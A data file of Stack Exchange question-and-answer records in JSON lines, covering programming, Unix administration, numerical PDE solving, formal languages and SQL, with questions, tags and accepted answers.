{  "id": "_codereview.73638"  , "question": "The interview question was to traverse a tree into a list.using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;namespace ConsoleApplication2{    public class TreeToList    {        public TreeToList()        {            //            0             //        2         4            //     6    8          10            TreeNode root = new TreeNode(0);            root.Left = new TreeNode(2);            root.Right = new TreeNode(4);            root.Left.Left = new TreeNode(6);            root.Left.Right = new TreeNode(8);            root.Right.Right = new TreeNode(10);            List<int> res = ConvertTreeToList(root);        }        //pre-order 0 2 4        //in-order 2 0 4        //post-order 2 4 0        private List<int> ConvertTreeToList(TreeNode root)        {            List<int> res = new List<int>();            if (root != null)            {                res.Add(root.Index);            }            else            {                return null;            }            if(root.Left != null)            {                res.AddRange(ConvertTreeToList(root.Left));            }            if(root.Right != null)            {                res.AddRange(ConvertTreeToList(root.Right));            }            return res;        }    }}My output is:0,2, 6, 8, 4, 10"  , "title": "Tree traversal into List"  , "tags": "c#;algorithm;tree;interview questions"  , "accepted_answer": "You're creating a new List<int> for every node in the tree, which is a lot of garbage for the garbage collector. Each value will also end up getting appended to many temporary lists.Let's kick the can down the road and assume that the work of creating the list has been taken care of for us. We take the result list as a parameter and append to thatprivate static void ConvertTreeToList(TreeNode root, List<int> result){    if (root == null)    {        return;    }    result.Add(root.Index);    ConvertTreeToList(root.Left, result);    ConvertTreeToList(root.Right, result);}Now we just add a helper functionprivate static List<int> ConvertTreeToList(TreeNode root){    var result = new List<int>();    ConvertTreeToList(root, result);    return result;}"  } 
{  "id": "_softwareengineering.311780"  , "question": "I am writing some new code and would like to write it using async and await, but the calling code does not currently support async. Is it right to write the new code in async and call it sync until the calling code supports async?Or should I write the code sync and then convert it at a later date? And would it be considered technical debt?public Result Execute( Paramerters parameters ) {    return ExecuteAsync( parameters ).Result;}public Task<Result> ExecuteAsync( Paramerters parameters ) {    ...}Execute is on an interface and is called from some other code that is not yet async. Is it correct to create the async version and call it from Execute until the code calling Execute is converted to async?My old code is written in .net 4.5.1 but is not yet converted to async."  , "title": "Writing new code in async but calling sync"  , "tags": "c#;.net;asynchronous programming;technical debt"  } 
{  "id": "_unix.219038"  , "question": "> cd /tmp> ln -s foo> ls -alhF /tmplrwxrwxrwx 1 user user    3 Jul 29 14:00 foo -> fooIs this a bug in ln or is there a use case for symlinking a file to itself?This is with coreutils 8.21-1ubuntu5.1."  , "title": "Why does ln -s accept a single argument"  , "tags": "symlink;coreutils;ln"  , "accepted_answer": "It's not a bug. The use case is for when you want to link a file to the same basename but in a different directory:cd /tmpln -s /etc/passwdls -l passwdlrwxrwxrwx 1 xxx xxx 11 Jul 29 09:10 passwd -> /etc/passwdIt's true that when you do this with a filename that is in the same directory it creates a link to itself which does not do a whole lot of good!This works regardless of whether you use symlinks or hard links."  } 
{  "id": "_softwareengineering.261993"  , "question": "So I stumbled across some frameworks for doing CSS post processing such as pleeease.io and I was wondering what are some main benefits or use cases for using CSS post processing? I feel you can achieve more or less the same thing with preprocessing mixins/functions. How are they used in conjunction with preprocessing languages like SASS or LESS?"  , "title": "CSS Preprocessing (SASS or LESS) vs CSS Postprocessing"  , "tags": "web development;css"  , "accepted_answer": "The difference between postprocessing and preprocessing is non-existent, at least in the case of programming languages. Both describe a transformation from some format A (which is authored by a human) to format B (which is necessary to have, but inconvenient to write):compiler:   A    -> B== CSS-related examples ==less:         LESS -> CSSsass:         SASS -> CSSsass:         SCSS -> CSSautoprefixer: CSS  -> CSSminifier:     CSS  -> CSSpleeease:     CSS  -> CSS== Other examples ==c preprocessor: C        -> C without macrosgcc:            C        -> machine codepandoc:         LaTeX    -> HTMLpandoc:         Markdown -> HTMLpandoc:         LaTeX    -> MarkdownA few observations on those examples:The input and output format can be the same. This is the case in code tidiers, minifiers, and other processors that somehow simplify the source. E.g. the C preprocessor expands macros and constants in the source code. This is equivalent to autoprefixer, which expands unprefixed CSS directives into their prefixed variants.Processors can involve multiple sub-processors that each do some part of the transformation.pleeease can pipe the code through various processors such as autoprefixer or a minifer.A C compiler includes a preprocessor stage.Pandoc has a processor that parses the input (e.g. a Markdown document) into a common data structure, then passes this intermediate representation to another processor that turns it into the target format (e.g. HTML). Pandoc's architecture is fairly pluggable, and allows additional preprocessing stages to be added. For example, this is used to implement bibliography references in Pandoc's Markdown dialect, by expanding the syntax into a more standard Markdown form.If pleeease calls itself a post-processor rather than a pre-processor, this is done to differentiate itself from preprocessors like LESS or SASS. The selling point of LESS and SASS/SCSS is that they extend or replace CSS syntax. Pleeease instead wants to make existing CSS code more portable.to indicate pleeease is to be used after development. If you use SASS to write your styles, you have to run the compiler before you serve the style sheet to your browser. And after you've written the style, you can run pleeease on the result to make it more palatable to older browsers.To summarize: There is no technical reason to differentiate between preprocessing and postprocessing in the realm of programming languages. The term postprocessing is not widely used in this domain, and one should therefore substitute and prefer preprocessing, compiling, or transformation. "  } 
{  "id": "_scicomp.23261"  , "question": "I want to solve the PDE equation numerically. For this, I started my study with something simple; heat equation$$\\frac{\\partial u}{\\partial t}=\\frac{\\partial^2 u}{\\partial^2 x}$$with the initial condition$$u(x,0)=1\\qquad(-1<x<1)$$I assumed the constant is set to zero.My next step was to turn this into discrete equation. I used$$\\frac{\\partial u}{\\partial t}=\\frac{u(t+\\Delta t)-u(t)}{\\Delta t},\\qquad\\frac{\\partial^2 u}{\\partial x^2}=\\frac{u(x+2\\Delta x)+u(x)-2u(x+\\Delta x)}{(\\Delta x)^2}$$Arranging all these,$$\\frac{u(x,t+\\Delta t)-u(x,t)}{\\Delta t}=\\frac{u(x+2\\Delta x,t)+u(x,t)-2u(x+\\Delta x,t)}{(\\Delta x)^2}$$$$u(x,t+\\Delta t)=u(x,t)+\\frac{\\Delta t}{(\\Delta x)^2}\\left(u(x+2\\Delta x,t)+u(x,t)-2u(x+\\Delta x,t)\\right)$$so, at arbitrary $x$, after time $\\Delta t$, the value will be function of $u$ at $x+2\\Delta x$ and $x+\\Delta x$, before $\\Delta t$.This is my algorithm, and I wrote a code for Matlabclc; clear all;pt=1000;                    %%% number of pointsxsta=-5;                    %%% x startxend=5;                     %%% x endx=linspace(xsta,xend,pt);   %%% creating x space -5 ~ 5t=linspace(0,2,1000);       %%% creating t space 0 ~ 2 secdx=abs(x(2)-x(1))/pt;       %%% x intervaldt=abs(t(2)-t(1))/pt;       %%% t intervalu=zeros(pt,pt);             %%% creating u functionu0=zeros(1,pt);             %%% initial valuefor i=1:pt    if x(i)>=-1 && x(i)<=1        u0(i)=1;    endend                         %%% initial valueu(1,:)=u0;                  %%% inserting initial value to t=0;for i=2:pt                  %%% t step. it starts from 0+dt    for j=1:pt-2;           %%% x step. it ends at xend - dx*2 due to algorithm        u(i,j)=u(i-1,j)+((  u(i-1,j+2) + u(i-1,j) -2*u(i-1,j+1)  )/dx)*dt;    endendfigure();plot(x,u(150,:))            %%% plotting at t=0.2983 secBut when I plot, It gives weird function, and does not look like heat equation.Moreover, the scale is off by $10^{36}$I am writing my code for first time, so I don't know what is wrong with my code.Do you have any suggestion of better algorithm for this PDE?Also, this is just start. I am going to use more complicated, coupled PDE for my project. Is there any good algorithm for this?"  , "title": "Algorithm suggestion for PDE - example: heat equation"  , "tags": "pde;computational physics;parabolic pde"  , "accepted_answer": "While i agree with Wolfgang that its best to choose Crank-Nicolson time stepping, i think it is incorrect to assert explicit time stepping results in 'incredibly small' time steps or even to suggest your script is not functioning because of explicit time stepping. You can make it work just fine, but you need to get your discretization correct and to implement the boundary conditions properly.Problems:First, your discretization of your spatial second derivative is incorrect. I like to do this using the Finite Volume method because you can not go wrong. You define an average temperature over a control volume $[x-\\frac{1}{2}\\Delta x,x+\\frac{1}{2}\\Delta x]$ where $x$ is the node at the center of the volume element with size $\\Delta x$:$$\\bar{u} = \\frac{1}{\\Delta x}\\int_{x-\\frac{1}{2}\\Delta x}^{x+\\frac{1}{2}\\Delta x} u dx$$Now you integrate the heat equation: $$\\partial_{t}u=a\\partial_{x}^{2}u$$over the control volume:$$\\frac{1}{\\Delta x}\\int_{x-\\frac{1}{2}\\Delta x}^{x+\\frac{1}{2}\\Delta x} \\partial_{t}u dx=a\\frac{1}{\\Delta x}\\int_{x-\\frac{1}{2}\\Delta x}^{x+\\frac{1}{2}\\Delta x} \\partial_{x}^{2}u dx$$$$\\partial_{t}\\bar{u} =\\frac{a}{\\Delta x}\\left.\\partial_{x}u \\right|_{x-\\frac{1}{2}\\Delta x}^{x+\\frac{1}{2}\\Delta x}$$Edit: The result here is that the temperature in the control volume is spatially uniform, i.e. the average temperature $\\bar{u}$ at node $x$. For $\\Delta x$ small enough, this become increasingly more accurate. The change in time of $\\bar{u}$ then becomes dependent of the incoming and outgoing flux of heat at the boundaries located at $x-\\frac{1}{2}\\Delta x$ and $x+\\frac{1}{2}\\Delta x$. The choice of these coordinates make this a staggered grid where the nodes do not align with the boundaries.using the second-order accurate discretization of the derivate, we get:$$\\partial_{t}\\bar{u} = \\frac{a}{\\Delta x}\\left[\\frac{\\bar{u}\\left(x+\\Delta x\\right)-\\bar{u}\\left(x\\right)}{\\Delta x}-\\frac{\\bar{u}\\left(x\\right)-\\bar{u}\\left(x-\\Delta x\\right)}{\\Delta x}\\right] = \\frac{a}{\\Delta x^{2}}\\left[\\bar{u}\\left(x+\\Delta x\\right)-2\\bar{u}\\left(x\\right)+\\bar{u}\\left(x-\\Delta x\\right)\\right] $$which is different from your discretization. Edit: since the averaged temperature at node $x$ is used exclusively in these equations i will drop the 'bar' from $\\bar{u}$Edit: For abritrary coordinate $\\tilde{x}$, second-order accuracy is shown by Taylor expansion:$$u\\left(\\tilde{x}-\\frac{\\Delta x}{2}\\right)=u\\left(\\tilde{x}\\right)-\\frac{\\Delta x}{2}\\left.\\frac{du}{dx}\\right|_{\\tilde{x}}+\\frac{1}{2}\\left(\\frac{\\Delta x}{2}\\right)^{2}\\left.\\frac{d^{2}u}{dx^{2}}\\right|_{\\tilde{x}}+O\\left(\\Delta x\\right)^{3}$$$$u\\left(\\tilde{x}+\\frac{\\Delta x}{2}\\right)=u\\left(\\tilde{x}\\right)+\\frac{\\Delta x}{2}\\left.\\frac{du}{dx}\\right|_{\\tilde{x}}+\\frac{1}{2}\\left(\\frac{\\Delta x}{2}\\right)^{2}\\left.\\frac{d^{2}u}{dx^{2}}\\right|_{\\tilde{x}}+O\\left(\\Delta x\\right)^{3}$$Subtracting to cancel the second derivative gives:$$u\\left(\\tilde{x}+\\frac{\\Delta x}{2}\\right)-u\\left(\\tilde{x}-\\frac{\\Delta x}{2}\\right)=\\Delta x\\left.\\frac{du}{dx}\\right|_{\\tilde{x}}+O\\left(\\Delta x\\right)^{3}$$rewriting to an expression for the first derivative:$$\\left.\\frac{du}{dx}\\right|_{\\tilde{x}}=\\frac{u\\left(\\tilde{x}+\\frac{\\Delta x}{2}\\right)-u\\left(\\tilde{x}-\\frac{\\Delta x}{2}\\right)}{\\Delta x}+O\\left(\\Delta x\\right)^{2}$$substituting in the averaged heat equation and filling in the $\\tilde{x}=x-\\frac{1}{2}\\Delta x$ and $\\tilde{x}=x+\\frac{1}{2}\\Delta x$ respectively gives the discretized equation found before.Secondly, you need to define boundary conditions. Since you didn't specify i am going to assume you assume zero-gradient boundary conditions. Since $x$ is at the center of the node, you can view it as a staggered grid. This means that the boundaries of the domain are in between nodes at $x_{b0}=x_1-\\frac{1}{2}\\Delta x$ and $x_{bf}=x_N+\\frac{1}{2}\\Delta x$, where $x_{1}$ and $x_{N}$ are the first and $N$th node respectively. We can set the gradients at $x_{b0}$ and $x_{bf}$ by introducing 'ghost' nodes outside the domain at $x_0$ and $x_{N+1}$ and then the gradients are defined as:$$\\partial_{x}u\\left(x_{b0}\\right)=\\frac{u\\left(x_{1}\\right)-u\\left(x_{0}\\right)}{\\Delta x}=0\\quad\\partial_{x}u\\left(x_{bf}\\right)=\\frac{u\\left(x_{N+1}\\right)-u\\left(x_{N}\\right)}{\\Delta x}=0$$So simply setting $u\\left(x_{0}\\right)=u\\left(x_{1}\\right)$ and $u\\left(x_{N+1}\\right)=u\\left(x_{N}\\right)$ will ensure zero-gradients at the boundaries.Now we are in a position to solve the equations. Edit: For each node we solve the discretized heat equation and use the information at the boundaries for the first and last node. For simplicity each node is identified by a subscript $i$, i.e. $u_i=u\\left(x_i\\right)$:$$\\partial_{t}\\bar{u}_{i}=\\frac{a}{\\Delta x^{2}}\\left[\\bar{u}_{i+1}-2\\bar{u}_{i}+\\bar{u}_{i-1}\\right]$$written out explicitly:$$\\partial_{t}\\bar{u}_{1} = \\frac{a}{\\Delta x^{2}}\\left[\\bar{u}_{2}-2\\bar{u}_{1}+\\bar{u}_{0}\\right]$$$$\\partial_{t}\\bar{u}_{2} = \\frac{a}{\\Delta x^{2}}\\left[\\bar{u}_{3}-2\\bar{u}_{2}+\\bar{u}_{1}\\right]$$    $$\\vdots $$$$\\partial_{t}\\bar{u}_{N-1} = \\frac{a}{\\Delta x^{2}}\\left[\\bar{u}_{N}-2\\bar{u}_{N-1}+\\bar{u}_{N}\\right]$$$$\\partial_{t}\\bar{u}_{N} = \\frac{a}{\\Delta x^{2}}\\left[\\bar{u}_{N+1}-2\\bar{u}_{N}+\\bar{u}_{N-1}\\right]$$Edit: Here $u_0$ and $u_{N+1}$ are the values of the temperature at the ghost nodes previously determined from the boundary conditions. We substitute those in to get:$$\\partial_{t}\\bar{u}_{1} = \\frac{a}{\\Delta x^{2}}\\left[\\bar{u}_{2}-\\bar{u}_{1}\\right]$$$$\\partial_{t}\\bar{u}_{N} = \\frac{a}{\\Delta x^{2}}\\left[-\\bar{u}_{N}+\\bar{u}_{N-1}\\right]$$Next, we define a system of equations with vector:$$\\vec{u}=\\begin{bmatrix}u\\left(x_{1}\\right) & u\\left(x_{2}\\right) & \\cdots & u\\left(x_{N-1}\\right) & u\\left(x_{N}\\right)\\end{bmatrix}^{T}$$which allows us to write these equations as a system of equations:$$\\partial_{t}\\begin{bmatrix}\\bar{u}_{1}\\\\\\bar{u}_{2}\\\\\\vdots\\\\\\bar{u}_{N-1}\\\\\\bar{u}_{N}\\end{bmatrix}=\\frac{a}{\\Delta x^{2}}\\begin{bmatrix}-1 & 1\\\\1 & -2 & 1\\\\ & \\ddots & \\ddots & \\ddots\\\\ &  & 1 & -2 & 1\\\\ &  &  & 1 & -1\\end{bmatrix}\\begin{bmatrix}\\bar{u}_{1}\\\\\\bar{u}_{2}\\\\\\vdots\\\\\\bar{u}_{N-1}\\\\\\bar{u}_{N}\\end{bmatrix}$$so we get the linear system:$$\\partial_t\\vec{u}=\\boldsymbol{A}\\cdot\\vec{u}$$where:$$A=\\frac{a}{\\Delta x^{2}}\\left[\\begin{array}{ccccc}-1 & 1\\\\1 & -2 & 1\\\\ & \\ddots & \\ddots & \\ddots\\\\ &  & 1 & -2 & 1\\\\ &  &  & 1 & -1\\end{array}\\right]$$All rows are described by our discretized equation, except in the first and last column where the values for the 'ghost' nodes outside of the domain are used to account for the boundary conditions.Let's not worry about discretization of the time derivative, we will simply let matlab integrate this system using an appropriate 'ode' function. This has as advantage that matlab choses an proper timestep for discretization which makes sure that the integration is stable.Below you will find an implementation of the above linear system and the result.Code and result:function main()    clc, clear all, close all;    a = 1;                     %% thermal diffusivity    pt=100;                    %%% number of points    xsta=-5;                    %%% x start    xend=5;                     %%% x end    x = linspace(xsta,xend,pt);   %%% creating x space -5 ~ 5    % create discretization matrix    A = zeros(pt,pt);    A(1,1) = -1;     A(1,2) = 1;    for i = 2:pt-1        A(i,i-1) = 1;        A(i,i) = -2;        A(i,i+1) = 1;    end    A(pt,pt-1) = 1;     A(pt,pt) = -1;    % initial condition    u0 = zeros(pt,1);    u0(abs(x)<1) = 1;    function dudt = pde(t, u, Fo_x)        dudt = Fo_x*A*u;    end    nt = 5; % increase nt if you want more time points (not needed for accuracy)    Fo = 1; % Fo is a dimensionless diffusion coefficient, a*t/l^2    Fo_x = Fo*(pt-1); % Fo_x is diffusion coefficient based on grid    tspan = linspace(0,1,nt);    [dimt,u] = ode45(@pde, tspan, u0, [], Fo_x);    figure, plot(x,u,'o')    legendCell = cellstr(num2str((dimt*(xend-xsta)^2/a), 't=%-d s'));    legend(legendCell)    xlabel('spatial coordinate, x')    ylabel('temperature, u')end"  } 
{  "id": "_unix.211080"  , "question": "My sshd won't start at bootup. I have to type it in manually (sudo service ssh start).I've posted a question on how to start ssh at bootup (How to start SSH daemon on boot on Linux Mint Debian v2), but, everything I've tried has not worked.I checked /var/log/boot.log, it actually says:[ ok ] Starting OpenBSD Secure Shell server: sshdHowever, when I type ps -A | grep ssh, sshd does not show up. If I start it manually (sudo service ssh start), it does show up. Is there a specific log for SSH that I can check?I'm using LMDE v2, 64-bit, Mate."  , "title": "Is there a specific SSH boot log?"  , "tags": "ssh;startup;init.d"  } 
{  "id": "_unix.271047"  , "question": "I am trying to get my android kernel working but I have a kernel module that is needed in order to get access to the file system of the device. Unfortunately there is no source code available so there are only the pre-compiled module and the kernel source. The kernel now tries to load the module without success. In the Module.symvers file in the kernel root directory the symbol that is needed is missing but the manufacturer of the device delivered a Module.symvers file from the root of the kernel source tree which includes all symbols that are needed.How can I include those symbols in my kernel to get the module working?"  , "title": "Add symbols of LKM to kernel"  , "tags": "kernel;kernel modules"  , "accepted_answer": "The problem was the config file of the kernel. It disabled some features so the module would not load."  } 
{  "id": "_cogsci.14134"  , "question": "The ambiguity effect says that we try to avoid uncertain outcomes. Still, many products are selling well excactly because they give uncertain outcomes. One example is Kinder Eggs, and many similar candies\\toys. Some shops also get rid og their spare products by selling them in 'surprise bags'.Why do people like buying products with uncertain outcomes, if the ambiguity effect is true?"  , "title": "Why do we like expected surprises?"  , "tags": "consumer psychology"  } 
{  "id": "_datascience.6037"  , "question": "I'm not sure if this is more appropriate for SO or DS in Stack Exchange since technically it's not about coding: in caret package for training in R, it's possible to train the model using rpart or rpart2 as the method.I understand that rpart is an implementation of CART. What is rpart2 and how is it different from rpart?My eventual aim is actually to compare the difference between the tree generated by rpart and rpart2, because my result seems to imply rpart2 has better accuracy for my dataset, but I have no clue how to view the rpart2 tree."  , "title": "rpart and rpart2"  , "tags": "machine learning;r"  , "accepted_answer": "Both rpart and rpart2 implement a CART and wrap the rpart function from the rpart library.  The difference is the constraints on the model each enforces.  rpart uses the complexity parameter, cp, while rpart2 uses the max tree depth, maxdepth.See: train_model_list section of http://cran.r-project.org/web/packages/caret/caret.pdf  and rpart.control section of http://cran.r-project.org/web/packages/rpart/rpart.pdf."  } 
{  "id": "_cstheory.19408"  , "question": "Let $L$ be an infinite regular language, then does there exists a strictly locally testable  infinite language $P$ such that $P \\subseteq L$?"  , "title": "Does every regular language contains a strictly locally testable language?"  , "tags": "fl.formal languages;automata theory;regular language"  , "accepted_answer": "The answer is no. The argument was suggested by phs, but you have to start with a different language. Take $L = (aa)^*$. Then any regular language $K$ contained in $L$ is of the form$$ K = \\{(aa)^n \\mid n \\in U \\}$$ for some ultimately periodic subset $U$ of $\\mathbb{N}$. If $K$ is infinite, then the period $p$ of $U$ is not $0$ and thus $K$ is not star-free (hence not locally testable and not strictly locally testable)."  } 
{  "id": "_codereview.115381"  , "question": "I have made a procedure to display the highest and the lowest popular Items for a particular time of a given date. The procedure works with no errors or exceptions and everything is functional. As you can see, the queries are repeated twice for the purpose of showing the first record on Items, but the only differences are in Order (ASC and DESC).Is there any way I can reduce the amount of the code? How can I show the highest and lowest Items in one query rather than two? I only want to make the code neat and easy to read.      create or replace procedure hight_lowest (param in date)    as    V_PNO_LOW   number(5);    V_PNO_HIGH  number(5);    BEGIN    SELECT Item_no INTO V_PNO_LOW    FROM    (SELECT Items.Item_no SUM(Items.Quantity) AS total,     TO_CHAR(Prodcution_d,        'dd-mm-yyyy') AS pro_date   FROM Items   JOIN Parts    ON Parts.Serial_no = Items.Serial_no   GROUP BY Item_no, TO_CHAR(Prodcution_d, 'dd-mm-yyyy')   ORDER BY SUM(Items.Quantity) ASC)   WHERE ROWNUM = 1   AND pro_date = TO_CHAR(Param_DATE,'mm-yyyy') ;   DBMS_OUTPUT.PUT_LINE('LOWEST ITEM: ' || V_PNO_LOW);  SELECT Item_no INTO V_PNO_LOW  FROM  (SELECT Items.Item_no SUM(Items.Quantity) AS total, TO_CHAR(Prodcution_d,     'dd-mm-yyyy') AS pro_date  FROM Items  JOIN Parts   ON Parts.Serial_no = Items.Serial_no  GROUP BY Item_no, TO_CHAR(Prodcution_d, 'dd-mm-yyyy')  ORDER BY SUM(Items.Quantity) DESC)  WHERE ROWNUM = 1  AND pro_date = TO_CHAR(Param_DATE,'mm-yyyy') ; DBMS_OUTPUT.PUT_LINE('HIGHEST POPULAR ITEM: ' || V_PNO_HIGH); END;  /"  , "title": "Highest andLowest in PLSQL"  , "tags": "sql;oracle;plsql"  , "accepted_answer": "Your core problem is how to find out top-1 and bottom-1 in a single query. This is essentially a SQL problem and has not much to do with PL/SQL. First I present you the SQL solution and then simply wrap that into PL/SQL.You didn't provided table definitions. I was lazy and didn't tried to reverse engineer your schema but instead created very simple table that illustrates the solution that you can apply to your real problem.Other notes that might or might not be relevant to your case:Use packages when applicable.PL/SQL is case insensitive so it doesn't matter if use UPPER or lower or MiXed case. I prefer simplicity so I always use lower case. YMMV.There is no need to convert dates into strings. Instead if you are looking for day granularity use trunc instead of to_char.trunc example:SQL> select sysdate, trunc(sysdate), date'2016-01-15' from dual;SYSDATE             TRUNC(SYSDATE)      DATE'2016-01-15'------------------- ------------------- -------------------2016-01-15 11:05:10 2016-01-15 00:00:00 2016-01-15 00:00:00Elapsed: 00:00:00.16SQL>As bonus I also introduced you to standard SQL datetime-literal syntax.Let's create some data to play with:-- demonstration purpose only, no resemblance to OP's codecreate table items( id number,quantity number,production_date date);-- populate random datainsert into itemsselect level, floor(dbms_random.value(1, 1000)), sysdate - floor(dbms_random.value(1, 5))from dualconnect by level <= 1000;Use analytic function row_number (you might also consider using rank or dense_rank functions instead) to assign an unique number in ordered sequence to each row. This is the standard way to implement top-N, bottom-N and inner-N queries in Oracle. Note that this example doesn't resolve ties.withordered_items as (  -- the actual SQL can be arbitrary complex  select   id  ,quantity  ,production_date  ,row_number() over (order by quantity asc)  as top_rn  ,row_number() over (order by quantity desc) as bottom_rn  from items  where trunc(production_date) = date'2016-01-14')select o1.id as hi_id,o2.id as lo_idfrom       ordered_items o1inner join ordered_items o2 on o2.bottom_rn = o1.top_rnwhere o1.top_rn    = 1and   o2.bottom_rn = 1;The above SQL will turn into the following PL/SQL code:create or replace procedure get_hi_and_lo_id( p_production_date in date,p_hi_id out number,p_lo_id out number) asbegin  with  ordered_items as (    select     id    ,quantity    ,production_date    ,row_number() over (order by quantity asc)  as top_rn    ,row_number() over (order by quantity desc) as bottom_rn    from items    where trunc(production_date) = trunc(p_production_date)  )  select   hi.id,   lo.id  into   p_hi_id, p_lo_id  from       ordered_items hi  inner join ordered_items lo on lo.bottom_rn = hi.top_rn  where hi.top_rn    = 1  and   lo.bottom_rn = 1  ;exception  when no_data_found then    null;end;/show errorsUsage example:declare  v_hi_id number;  v_lo_id number;begin  get_hi_and_lo_id(    p_production_date => sysdate - 1   ,p_hi_id           => v_hi_id   ,p_lo_id           => v_lo_id  );  dbms_output.put_line('v_hi_id: ' || v_hi_id);  dbms_output.put_line('v_lo_id: ' || v_lo_id);end;/v_hi_id: 689v_lo_id: 370PL/SQL procedure successfully completed.That seems to be the correct answer with my data:SQL> select * from items where trunc(production_date) = trunc(sysdate - 1) order by quantity;        ID   QUANTITY PRODUCTION_DATE---------- ---------- -------------------       689         13 2016-01-14 10:44:28        25         18 2016-01-14 10:44:28[...]       334        987 2016-01-14 10:44:28       370        994 2016-01-14 10:44:28235 rows selected.Elapsed: 00:00:00.95SQL>"  } 
{  "id": "_cs.26259"  , "question": "The Wikipedia summary of the Kosaraju-Sharir algorithm is as follows: Let G be a directed graph and S be an empty stack.While S does not contain all vertices.    Choose an arbitrary vertex v not in S. Perform a depth-first search starting at v. Each time that depth-first search finishes expanding a vertex u, push u onto S.Reverse the directions of all arcs to obtain the transpose graph.While S is nonempty:    Pop the top vertex v from S. Perform a depth-first search starting at v in the transpose graph. The set of visited vertices will give the strongly connected component containing v; record this and remove all these vertices from the graph G and the stack S. Equivalently, breadth-first search (BFS) can be used instead of depth-first search.But in my textbook - Sedgewick's Algorithms (fourth edition) - it describes the steps of the algorithm as follows: Given a digraph G, compute the reverse post-order of its reverse digraph. GRRun a standard DFS on G, but consider the unmarked vertices in the order just computed instead of the standard numerial orderThe set of all vertices... The conclusion drawn in the third step is identical, as are the operations performed in the first two steps, but it seems that those two steps are given in opposite orders: Wikipedia tells me to start by doing a DFS on G and then transposing it, doing the second DFS on GR, whereas my textbook suggests that I begin by transposing G, do the first DFS on GR and the second on G. My primary question is: Am I understanding this correctly, or am I misinterpreting what one or the other is saying? Secondly: Intuitively, it seems as though these operations are transitive and therefore that these two different methods are in fact equivalent, and will always yield the same final result. I've tested this intuition on a couple of digraphs and it seems to hold true - but is it? Thirdly: Assuming it is, is there any objective reason to prefer one over the other, or is it simply a matter of preference?NOTE: As of now, this question is cross-posted on StackOverflow. I'm an established user there, so I know that cross-posting is generally frowned upon, but I've just joined this SE and am curious to gauge the response I get here relative to what I get there. I will delete one or the other after doing so. If you'd like me to do so immediately, please comment.  "  , "title": "Order of steps in Kosaraju-Sharir"  , "tags": "algorithms;graphs;data structures"  } 
{  "id": "_unix.329037"  , "question": "I have a big problem with a partition that is encrypted with luks/dm-crypt. I recognized that some files were not readable any more. I rebooted and the partition was not mountable. As far as I remember there was a non-encrypted partition and behind that the luks/dm-crypt partition (formatted) with ext4 on that harddisk. There was no operating system installed on that harddisk. I was not doing any critical stuff, just working normally, surfing the web etc.In the gnome-disks utility it shows only free space and under partitioning: unknown (PMBR). Parted says Unknown partition table . fdisk finds a partition:/dev/sdj1  1 4294967295 4294967295 16T ee GPTwhich is obviously wrong.The hard disk is a ST3000DM 001-1CH166 (CC27)I'm using arch-linux and didn't boot windows for some time.I now removed the harddisk from the computer and put it into an external usb case, still the same. I am now doing a copy of the harddisk with dd to play around with the image.What could have possibly gone wrong? Is there a way to recover the data on the encrypted partition?Update: Luckily I was able to mount the image created with dd: sudo losetup -Pf data.imgsudo cryptsetup luksOpen /dev/loop0p1 imagesudo mount /dev/mapper/image /mntWith that I am able to access all the data."  , "title": "dm-crypt / luks partition disappeared"  , "tags": "partition;luks;gpt;dm crypt"  } 
{  "id": "_softwareengineering.108148"  , "question": "When trying to explain the concept of Inheritance in OOP, the common example is often the mammals example. IMHO, this is really a bad example, because it will lead the newbies to use this concept the wrong way. And moreover, it is not a common design that they will face in their day-to-day design job.So, what will be a nice, simple and concrete problem that is solved using Inheritance ?"  , "title": "How can I explain the usefulness of Inheritance?"  , "tags": "design patterns;object oriented;inheritance"  } 
{  "id": "_unix.239933"  , "question": "I' m trying to realize, how does work pg\\more\\less utilities. For example, cat somebigfile | more. More now in interactive mode. His fd table is:0 (read pipe from cat)1 (stdout)2 (stderr)I can open /dev/tty on 3 fd and read commands thence. But more can execute some actions without enter pressing. On linux i can use ncurses. What i need to realize to make it on Solaris?"  , "title": "How to make program which will react on button pressing (such as more on 'q')"  , "tags": "solaris;c;ncurses;more"  , "accepted_answer": "The basic idea is to read() one character from your input; see http://bazaar.launchpad.net/~vcs-imports/util-linux-ng/trunk/view/head:/text-utils/more.c#L1908 as an example (which I discovered via a Google search result of https://stackoverflow.com/questions/9854267/implementing-the-more-unix-utility-command):int readch(void){    unsigned char c;    errno = 0;    if (read(fileno(stderr), &c, 1) <= 0) {        if (errno != EINTR)            end_it(0);        else            c = otty.c_cc[VKILL];    }    return (c);}"  } 
{  "id": "_codereview.8642"  , "question": "Under sage from another CR post I'm crafting an OOP MySQL connection/query class. Nothing new, but a place to start plying OOP PHP. Here is the current design,what would aid speed and portability?conf/config.php<?php//Inlcude the Data Access Layer: Dbrequire_once (dirname(dirname(__FILE__)) . '/inc/class/dbc.php');//DB Constants...define('DB_HOST','dbhost');define('DB_USER','user');define('DB_PASS','pass');define('DB_NAME','dbname');?>inc/class/dbc.php<?php  /*** */class Db            {    public $mysql;    function __construct()    {        $this->mysql = new mysqli (DB_HOST, DB_USER, DB_PASS, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );//adding custom error checking:    }// End Constructor}//End Class Definitionindex.php<div id=todo><?php                require_once(dirname(__FILE__) . '/conf/config.php');                $db = new Db();                $query = SELECT * FROM todo ORDER BY id asc;                $results = $db->mysql->query($query);                if($results->num_rows) {                    while($row = $results->fetch_object()) {                        $title = $row->title;                        $description = $row->description;                        $id = $row->id;    ?>          </div>"  , "title": "OOP MySQL connection class"  , "tags": "mysql;performance;object oriented;php5"  } 
{  "id": "_unix.73083"  , "question": "A line in my cron.daily script not work as expected. I haven't any special smtp mail server in system,this line    rsync -avun --inplace /oneuser/file.xls /otheruser/file.xls| mail  -s $0 $?provide Cannot open mail:25 message What Do i need to setup a local mail subsystem? I preffer simple mailboxes to email server setup. I like that otheruser logged in could read cron (root) messages by mail command. I found a similar question but not the answer here How to set up local mail retrieval and delivery?when i try to send a mail to user with mail command i get after dot  EOT[root@localhost etc]# send-mail: Cannot open mail:25"  , "title": "set up local mail delivery to user from cron script"  , "tags": "fedora;cron;mail command"  , "accepted_answer": "I recommend you just install postfix for the local mail delivery. On Ubuntu at least it will interactively ask about your setup, which includes a local delivery only option.In addition you can make a local account mailboy for mail delivery and allow all people to read the mail delivered to that account.In order to get the mail to root delivered to mailboy, edit /etc/aliases and adda line:root: mailboy@localhostafter doing so run newaliases. "  } 
